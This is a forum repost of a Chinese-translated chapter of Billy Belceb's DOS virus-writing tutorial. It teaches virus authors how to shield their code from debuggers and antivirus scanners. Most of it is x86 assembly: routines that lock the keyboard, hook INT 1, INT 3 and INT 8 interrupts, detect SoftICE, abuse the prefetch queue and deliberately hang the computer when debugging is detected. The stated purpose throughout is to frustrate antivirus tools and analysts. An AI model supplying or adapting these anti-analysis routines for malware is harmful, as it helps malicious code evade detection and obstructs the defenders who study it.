• 标 题:Billy Belceb病毒编写教程(DOS篇)---保护你的代码
  • 作 者:onlyu
  • 时 间:2004年2月10日 06:24
  • 链 接:http://bbs.pediy.com

【保护你的代码】
~~~~~~~~~~~~~~
    这个话题在业界是一个很热门的话题。许多病毒编写者保护它们的代码是为了使病毒查杀工具更困难。当然,我们我们还要讨论反调试的方法。有许多众所周知的技术...但是,在这里能看到是一件很好的事情...你说呢?
    关于这个,有很多可能的方法。它们许多都是可配置的。你也可以利用传统的方法。我认为应该至少要放一个例程到你的多态引擎中(在长-例程表里,如Wintermute的Zohra病毒)来欺骗病毒查杀工具,防止它们对我们的代码解密。出发喽!
    一个非常有用的东西是释放键盘。当我们释放键盘时,调试器使用者就不能再跟踪了(在TD里F7)。如果使用者正常运行一个程序...没问题。只要一个int 3(断点)将会做其它事了。它是一个非常简单的东西却做得很好!让我们看看一些代码:

 bye_keyb:
  in  al,21h      ; Let's deactivate keyboard
  or  al,02h      ; Try to press any key...
  out  21h,al

 fuck_int3:
  int  3h      ; Breakpoint

 exit_adbg:
  in  al,21h      ; Let's activate keyboard
  and  al,not 2    ; keyb works now
  out  21h,al      ; cool :)

    这是一个很好得方法。只要你会做...当我们的病毒正在运行时不时地释放键盘将会:使得差劲地使用者很惊奇,不允许他按该死的^C,所有你想做的将会成功。真的时非常有用而简单的事情。
    另一个方法是对堆栈做些手脚。许多反调试工具就是用的这个古老而简单的方法。利用这个方法,你可以做你想做的任何事情。下面给出:

 do_shit_stack:
  neg  sp
  neg  sp

    简单吧,哈哈?你也可以使用NOT而不使用NEG,同样的结果。

 tons_of_shit:
  not  sp
  not  sp

    NEG有什么用呢?它把寄存器加1然后对结果进行NEG操作。但是它是一个非常老的花招了...你可以用它,但是最好用其它的方法吧,对于厉害的调试器如S-ICE就不一定有效了。但是如果你使用一个多态引擎你就添上如下的代码,那么病毒查杀工具在解密你的病毒的时候就会受挫了。呵呵...你能使用的另外一个方法是使堆栈溢出:

 overflower:
  mov  ax,sp
  mov  sp,00h
  pop  bx
  mov  sp,ax

    当然啦...还有更多呢。另外一个经典的方法是钩住INT 1 和/或 INT 3。你有许多方法来做这个。好了,我再介绍几个方法:

 change_int1_and_int3_using_dos:
  mov  ax,2501h    ; AL = INT to hook
  lea  dx,newint    ; Take care if we need
  int  21h      ; ?offset, by adding it... ok?
  mov  al,03h
  int  21h
  [...]
 newint:
  jmp  $
  iret        ; Why if don't used? hehehe :)

    这个例程能被一个TSR监视程序发现。我建议你使用下面的方法。通过直接操作实现钩子:

 int1:
  xor  ax,ax      ; Let's try to put an IRET in INT 1
  mov  es,ax      ; We need ES = 0. IVT is in 0000:0000
  mov  word ptr es:[1h*4],0FEEBh ; a jmp $

 int3:
  xor  ax,ax
  mov  es,ax
  mov  word ptr es:[3h*4],0FEEBh ; a jmp $

    如果你不想使计算机挂机,把0FEEBh代替为0CF90h(一个nop和iret指令[当然要把顺序颠倒过来啦])。
    你能想到的很酷的主意是是int 3指向int 21,然后你就可以使用这个中断而不使用int 21了。这样有两个好处:欺骗调试器和优化你的代码...为什么优化你的代码呢?因为int 21指令的代码是CD 21(占两个字节),而int 3仅仅是CC...
    记住int 3是调试器的一个断点,所以每次你调用int 3,调试器就会停止:)下面给出代码:

 getint21:
  mov  ax,3521h    ; Get interrupt vectors
  int  21h
  mov  word ptr [int21_ofs],bx
  mov  word ptr [int21_seg],es

  mov  ax,2503h
  lea  dx,jumptoint21
  int  21h
  [...]

 jumptoint21  db  0EAh
 int21    equ  this dword
 int21_ofs  dw  0000h
 int21_seg  dw  0000h

    我们还可以比较堆栈为了知道我们是否正在被调试。下面给出例子:

 stack_compares:
  push  ax
  pop  ax
  dec  sp
  dec  sp
  pop  bx
  cmp  ax,bx
  jz  exit_adbg    ; not debugged
  jmp  $      ; hang computers is cool ;)
 exit_adbg:

    记住,如果需要,先使断点无效(cli),后使断点有效(sti)。是的,还有更多的方法来保护我们的代码。但是,嗨!它们太老了,它们有效!看看下面的一个方法...我很喜欢这个方法。看看下面的代码:

 prefetch:
  mov  word ptr cs:fake,0FEEBh ; Why do you think this made
 fake:  jmp  nekst      ; if debugged? Yes, hang PC!
 nekst:         ; Continue with your code here

    你还可以利用prefetch做更多的事情。你还可以跳到一个程序或者设置一个hlt指令(也能挂机)...无论你想要什么,如下:

 prefetch_fun:
  mov  word ptr cs:fake2,04CB4h
 fake2: jmp  bye_fake
  int  21h
 bye_fake:

    这段代码将会终止程序的执行,现在一段特殊的为SoftIce准备的例程(最好的调试器也被骗过了)。

    更多的代码:

 soft_ice_fun:
  mov  ax,0911h    ; Soft-ice function for exec. command
  mov  di,4647h    ; DI = "FG"
  mov  si,4A4Eh    ; SI = "JM"
  lea  dx,soft_ice_fuck  ; Yeah
  int  03h      ; Int for breakpoints

 soft_ice_fuck  db  "bc *",10,0

    另外一个花招是钩住int 8,并在那里放置一个比较我们驻留内存代码里的一个变量,因为许多调试器会释放所有的中断除了int 8之外。int 8 指令在一秒之内能执行18.2次。我建议你在钩住它之前保存就的句柄。你想看代码吗?下面给出:

 save_old_int8_handler:     ; You remember 40-hex magazine?
  mov  ax,3508h    ; This routine is from issue #7
  int  21h
  mov  word ptr [int8_ofs],bx
  mov  word ptr [int8_seg],es
  push  bx es
  mov  ah,25h      ; Put int 8 handler
  lea  dx,virii
  int  21h
 fuckin_loop:
  cmp  fuckvar,1    ; This will cause a little delay
  jnz  fuckin_loop
  pop  ds ds

  int  21h
  mov  ax,4C00h
  int  21h

 fuckvar  db  0
 int8    equ  this dword
 int8_ofs  dw  0000h
 int8_seg  dw  0000h
 program:
    ; bla bla bla
  mov  fuckvar,1
    ; more and more bla
  jmp  dword ptr [int8]

    记住Demogorgon的忠告:“没有保护的代码就是公开的”。
    嗨!如果你需要得到偏移地址要小心点(如运行期<g>病毒),并加上它...ok?